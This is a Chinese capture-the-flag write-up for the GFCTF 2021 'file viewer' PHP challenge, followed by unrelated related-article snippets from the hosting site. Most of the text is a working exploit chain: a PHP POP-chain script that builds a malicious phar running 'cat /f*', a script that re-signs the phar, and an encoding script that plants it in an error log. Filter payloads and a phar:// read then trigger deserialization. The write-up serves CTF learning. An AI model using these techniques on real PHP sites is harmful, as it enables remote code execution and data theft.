[GFCTF 2021]文件查看器

文章目录

    • 前置知识
      • 可调用对象数组对方法的调用
      • GC回收机制
      • phar修改签名
    • 解题步骤


前置知识

可调用对象数组对方法的调用

我们先来看下面源码

<?phperror_reporting(0);class User{public $username;public $password;public function check(){if($this->username==="admin" && $this->password==="admin"){return true;}else{echo "{$this->username}的密码不正确或不存在该用户";return false;}}public function __destruct(){($this->password)();}}

链子很简单,就是__destruct() -> check()
但是关键点在于给password变量赋值check后并不能调用类中的check(),因为

check() != this->check()

解决办法就是利用PHP7引入的一个新特性 Uniform Variable Syntax,它扩展了可调用数组的功能,增加了其在变量上调用函数的能力,使得可以在一个变量(或表达式)后面加上括号直接调用函数。
可调用数组的构造我们简单测试下

<?php
highlight_file(__FILE__);
class A{public function check(){echo "<br>check!!!";}
}$a=[new A(),"check"];
$a();

发现成功调用
在这里插入图片描述

GC回收机制

简单给个示例

<?php
class Start{public $errMsg;
}class Crypto{public $obj;
}$a=new Start();
$b=new Crypto();
$a->errMsg=$b;
$A=array($a,NULL);
echo serialize($A);

利用数组对象占用指针(改数字)实现提前触发__destruct()方法绕过黑名单检测

//修改前payload
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";N;}}i:1;N;}
//修改后payload
a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";N;}}i:0;N;}

phar修改签名

用010创建十六进制文件,然后将phar内容复制进去,手动修改内容后需要重新计算签名
不同签名格式对应不同的字节数,本题是sha256
在这里插入图片描述

脚本如下

from hashlib import sha256
with open("hacker1.phar",'rb') as f:text=f.read()main=text[:-40]        #正文部分(除去最后40字节)end=text[-8:]		  #最后八位也是不变的	new_sign=sha256(main).digest()new_phar=main+new_sign+endopen("hacker1.phar",'wb').write(new_phar)     #将新生成的内容以二进制方式覆盖写入原来的phar文件

解题步骤

dirsearch扫出来有源码泄露
在这里插入图片描述
Files.class.php

<?phperror_reporting(0);class User{public $username;public $password;public function login(){include("view/login.html");if(isset($_POST['username'])&&isset($_POST['password'])){$this->username=$_POST['username'];$this->password=$_POST['password'];if($this->check()){header("location:./?c=Files&m=read");}}}public function check(){if($this->username==="admin" && $this->password==="admin"){return true;}else{echo "{$this->username}的密码不正确或不存在该用户";return false;}}public function __destruct(){(@$this->password)();}public function __call($name,$arg){ ($name)();}}

可以得到用户和密码为admin,admin

Myerror.class.php

<?phpclass Myerror{public $message;public function __construct(){ini_set('error_log','/var/www/html/log/error.txt');ini_set('log_errors',1);}public function __tostring(){$test=$this->message->{$this->test};return "test";}}

会发现题目会将报错信息写到/log/error.txt

Files.class.php

<?phpclass Files{public $filename;public function __construct(){$this->log();}public function read(){include("view/file.html");if(isset($_POST['file'])){$this->filename=$_POST['file'];}else{die("请输入文件名");}$contents=$this->getFile();echo '<br><textarea class="file_content" type="text" value='."<br>".$contents;}public function filter(){if(preg_match('/^\/|phar|flag|data|zip|utf16|utf-16|\.\.\//i',$this->filename)){echo "这合理吗";throw new Error("这不合理");}}public function getFile(){$contents=file_get_contents($this->filename);$this->filter();if(isset($_POST['write'])){file_put_contents($this->filename,$contents);}if(!empty($contents)){return $contents;}else{die("该文件不存在或者内容为空");} }public function log(){$log=new Myerror();}public function __get($key){($key)($this->arg);}}

read()方法可以查看文件然后调用getFile()方法,先是读取文件,然后黑名单检测其中包括phar伪协议,然后写入文件

思路很简单,就是phar伪协议读取文件,首要解决的就是如何上传phar文件,这里我们可以利用报错日志error.txt,phar内容当成文件名传入,那么error.txt就会出现我们传的内容,如果我们再利用伪协议和特殊的过滤器去读取error.txt,即可实现得到序列化的字符串;第二个解决的问题就是如何绕过黑名单,直接GC回收机制绕过即可
在这里插入图片描述

class文件整理如下

<?phpclass User{public $username;public $password;public function check(){if($this->username==="admin" && $this->password==="admin"){return true;}else{echo "{$this->username}的密码不正确或不存在该用户";return false;}}public function __destruct(){(@$this->password)();}}class Files{public $filename;public function __get($key){($key)($this->arg);}}class Myerror{public $message;public function __tostring(){$test=$this->message->{$this->test};return "test";}}

分析一下

  1. 链子出口是Files.__get()存在命令执行,往前推到Myerror.__tostring()调用不存在属性
  2. 再往前推到User.check(),而这里的调用就要用到前置知识的可调用对象数组

pop链

User类利用可调用对象数组 -> User.check() -> Myerror.__tostring() -> Files.__get()

exp如下

<?php
class User{public $username;public $password;
}
class Files{public $filename;
}class Myerror{public $message;
}$a1=new User();
$a2=new User();
$b=new Myerror();
$c=new Files();
$a1->password=[$a2,"check"];
$a2->username=$b;
$b->message=$c;
$b->test='system';
$c->arg='cat /f*';
$A=array($a1,null);$phar = new Phar("hacker.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($A);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

然后生成phar文件,010打开手动修改为0
在这里插入图片描述
重新计算签名得到利用的phar文件

然后就是如何利用伪协议和过滤器读取
如果只是简单的base64编码,会出现报错,因为读取的是整个error.txt文件(还包括其他非编码的字符),构造过程如下

utf-16le

当utf-8转换为utf-16le时,每一位字符后面都会加上一个\0,这个\0是不可见的,当将utf-16le转换为utf-8的时候,只有后面有\0的才会被正常转换,否则变为乱码

那么我们是否可以利用utf-16le来标记我们的payload,然后解码只对我们payload解码(其他变成乱码),然后再base64解码。不过这个被过滤了,我们可以用UCS-2编码(区别在于\0在前面)
UCS-2编码

UCS-2 编码使用固定2个字节,所以在ASCII字符中,在每个字符前面会填充一个 00字节(大端序)

lanb0
=>
\x00l\x00a\x00n\x00b\x000

那么下一步就是如何构造\0,因为是不可见字符,所以引入Quoted-Printable编码
Quoted-Printable编码

“Quoted-Printable"编码的基本原则是:安全的ASCII字符(如字母、数字、标点符号等)保持不变,空格也保持不变(但行尾的空格必须编码),其他所有字符(如非ASCII字符或控制字符)则以”="后跟两个十六进制数字的形式编码

lanb0\n
=>
lanb0=0A

整个流程如下

测试数据:test
base64编码:dGVzdA==
加上\0(等号也要转换):=00d=00G=00V=00z=00d=00A=00=3D=00=3D上传后:
垃圾数据=00d=00G=00V=00z=00d=00A=00=3D=00=3D垃圾数据
解码:
垃圾数据\0d \0G \0V \0z \0d \0A \0= \0=垃圾数据
UCS-2转UTF-8:乱码dGVzdA==乱码
base64解码:test

加密脚本

<?php
$a=file_get_contents('hacker1.phar');//获取二进制数据
$a=iconv('utf-8','UCS-2',base64_encode($a));//UCS-2编码
file_put_contents('hacker.txt',quoted_printable_encode($a));//quoted_printable编码
file_put_contents('hacker.txt',preg_replace('/=\r\n/','',file_get_contents('hacker.txt')).'=00=3D');//解决软换行导致的编码结构破坏

注:在 Quoted-Printable 编码中,为了防止编码后的字符串过长,通常会在每76个字符后插入一个软换行,也就是 = 符号加上一个换行符。

将得到的加密字符串输入,然后访问/log/error.txt
在这里插入图片描述
接下来就要用到伪协议和过滤器(后面步骤要点击重写文件)
解码quoted-printable

php://filter/read=convert.quoted-printable-decode/resource=log/error.txt

在这里插入图片描述
解码UCS-2

php://filter/read=convert.iconv.UCS-2.UTF-8/resource=log/error.txt

在这里插入图片描述
解码base64

php://filter/read=convert.base64-decode/resource=log/error.txt

在这里插入图片描述
可以看到我们序列化的结果,最后用phar伪协议读取即可

phar://log/error.txt

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/217726.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

flutter的ListView和SingleChildScrollView有什么区别?他们的使用场景有什么不一样?

文章目录 简介ListViewSingleChildScrollView使用场景的不同 简介 ListView和SingleChildScrollView都是在Flutter中用于处理滚动内容的组件&#xff0c;但它们有一些关键的区别。 ListView 多个子元素&#xff1a; ListView是一个滚动的可滚动组件&#xff0c;通常用于包含多…

接口管理——Swagger

Swagger是一个用于设计、构建和文档化API的工具集。它包括一系列工具&#xff0c;如Swagger Editor&#xff08;用于编辑Swagger规范&#xff09;、Swagger UI&#xff08;用于可视化API文档&#xff09;和Swagger Codegen&#xff08;用于根据API定义生成客户端库、server stu…

Web安全之XXE漏洞原理及实践学习

一、原理&#xff1a; XXE漏洞全称即XML外部实体注入漏洞。 攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)&#xff0c;导致可加载恶意外部文件&#xff0c;利用file协议造成文件读取、命令执行、内网端口扫描、攻击内网网站等…

第二百零三回 修改组件风格的另外一种方法

文章目录 概念介绍实现方法示例代码 我们在上一章回中介绍了WebView组件相关的内容&#xff0c;本章回中将介绍如何在图标旁边添加小红点.闲话休提&#xff0c;让我们一起Talk Flutter吧。 概念介绍 在实际项目中有时候需要在图标旁边显示小红点&#xff0c;而且小红点内还有数…

云原生 | Docker 和容器技术的核心概念及应用实践

在当今快速发展的软件行业中&#xff0c;Docker 和容器技术已成为必不可少的工具。它们为应用的打包、分发和运行提供了革命性的方法。本文旨在深入解析 Docker 和容器技术的核心概念、工作原理及应用实践&#xff0c;为开发者提供全面的指南和实用示例。 容器技术概述 什么是…

OCRmyPDF让你能搜索扫描版PDF文档

什么是 OCRmyPDF &#xff1f; PDF 是存储和交换扫描文档的最佳格式。不幸的是&#xff0c;PDF 可能很难修改。OCRmyPDF 是一个 Python 应用程序和库&#xff0c;可以轻松地将图像处理和 OCR&#xff08;可识别、可搜索的文本&#xff09;应用于现有 PDF&#xff0c;通过向扫描…

奥比中光 Femto Bolt相机ROS配置

机械臂手眼标定详解 作者&#xff1a; Herman Ye Auromix 测试环境&#xff1a; Ubuntu20.04/22.04 、ROS1 Noetic/ROS2 Humble、X86 PC/Jetson Orin、Kinect DK/Femto Bolt 更新日期&#xff1a; 2023/12/12 注1&#xff1a; Auromix 是一个机器人爱好者开源组织。 注2&#…

环境安全之配置管理及配置安全设置指导

一、前言 IT运维过程中&#xff0c;配置的变更和管理是一件非常重要且必要的事&#xff0c;除了一般宏观层面的配置管理&#xff0c;还有应用配置参数的配置优化&#xff0c;本文手机整理常用应用组件配置项配置&#xff0c;尤其安全层面&#xff0c;以提供安全加固指导实践。…

Apache Kafka JNDI注入注入漏洞(CVE-2023-25194)

基于Vulhub搭建的环境 一、漏洞概述 Apache Kafka是一个开源分布式消息队列&#xff0c;Kafka clients是相对应的Java客户端。 在版本3.3.2及以前&#xff0c;Apache Kafka clients中存在一处JNDI注入漏洞。如果攻击者在连接的时候可以控制属性的值为&#xff0c;则可以发起…

uni-app获取response header响应头(h5/app/小程序三端)

h5、app获取方式&#xff1a;getResponseHeader(key) 示例&#xff1a;参考&#xff1a;HTML5 API Reference // 创建xhr实例&#xff1a; // #ifdef APP-VUE let xhr new plus.net.XMLHttpRequest(); // #endif // #ifdef H5 let xhr new window.XMLHttpRequest(); // #en…

【华为OD题库-088】数字最低位排序-Java

题目 给定一个非空数组(列表)&#xff0c;元素数据类型为整型 请按照数组元素十进制最低位从小到大进行排序 十进制最低位相同的元素&#xff0c;相对位置保持不变 当数组元素为负值时&#xff0c;十进制最低位等同于去除符号位后对应十进制值最低位 输入描述 给定一个非空数组…

Redis与MySQL双写一致性如何保证?

前言 四月份的时候&#xff0c;有位好朋友去美团面试。他说&#xff0c;被问到Redis与MySQL双写一致性如何保证&#xff1f;这道题其实就是在问缓存和数据库在双写场景下&#xff0c;一致性是如何保证的&#xff1f;本文将跟大家一起来探讨如何回答这个问题。 谈谈一致性 一致…

什么是UUID

UUID是通用唯一标识符&#xff08;Universally Unique Identifier&#xff09;的缩写&#xff0c;也叫GUID (Globally Unique Identifier)。它是一个由一串数字和字母组成的标识符&#xff0c;用于在计算机系统中唯一地标识实体&#xff08;如文件、对象、数据库记录等&#xf…

如何使用内网穿透实现iStoreOS软路由R4S公网远程访问局域网电脑桌面

最近&#xff0c;我发现了一个超级强大的人工智能学习网站。它以通俗易懂的方式呈现复杂的概念&#xff0c;而且内容风趣幽默。我觉得它对大家可能会有所帮助&#xff0c;所以我在此分享。点击这里跳转到网站。 文章目录 简介一、配置远程桌面公网地址二、家中使用永久固定地址…

JeecgBoot jmreport/queryFieldBySql RCE漏洞复现

0x01 产品简介 Jeecg Boot(或者称为 Jeecg-Boot)是一款基于代码生成器的开源企业级快速开发平台,专注于开发后台管理系统、企业信息管理系统(MIS)等应用。它提供了一系列工具和模板,帮助开发者快速构建和部署现代化的 Web 应用程序。 0x02 漏洞概述 Jeecg Boot jmrepo…

Linux0.11内核源码解析-string待更新

sting.h头文件包含了所有的字符串操作函数 strcpy字符串拷贝函数 cld 指令用于设置方向标志位&#xff0c;确保字符串复制是从前向后进行。 lodsb 指令用于将 src 指针指向的字符加载到 AL 寄存器中&#xff0c;并将 src 指针递增。 stosb 指令用于将 AL 寄存器中的字符存储到 …

【DL-TensorFlow遇错】TensorFlow中遇错合集

TensorFlow中遇错合集 一、AttributeError: module tensorflow has no attribute placeholder二、RuntimeError: tf.placeholder() is not compatible with eager execution. 一、AttributeError: module tensorflow has no attribute placeholder 错误原因 tensorflow版本问…

vue.js纯前端处理如何将后台返回来的csv数据导出成csv文件

需要实现一个下载csv文件的功能&#xff0c;但后台没有对这个下载文件进行处理&#xff0c;而是将csv数据传给前台而已&#xff0c;需要前台做一下处理。 这是按钮的代码&#xff1a; <a> <el-button size"mini" class"custom-confirm" click&quo…

安科瑞出席宁波市建筑电气2023年年会-安科瑞 蒋静

12月1日&#xff0c;宁波市建筑电气2023年年会在宁波市海曙天港禧悦酒店成功举办。作为推动宁波市建筑电气行业技术发展的专业交流会&#xff0c;吸引了建筑电气行业领导、专家、设计师、厂家等300多名代表参会。期间&#xff0c;安科瑞电气股份有限公司携智能楼宇、智慧校园、…

vue3父组件调用子组件el-dialog对话框

vue3父组件调用子组件el-dialog对话框 在写项目的时候&#xff0c;经常要使用父子组件通讯&#xff0c;我已经写了很多篇博客来介绍父子组件通讯了&#xff0c;vue中的父子组件通讯方式有差不多10来种&#xff0c;最常用的就那么一两种&#xff0c;这里我介绍其中我认为最基础…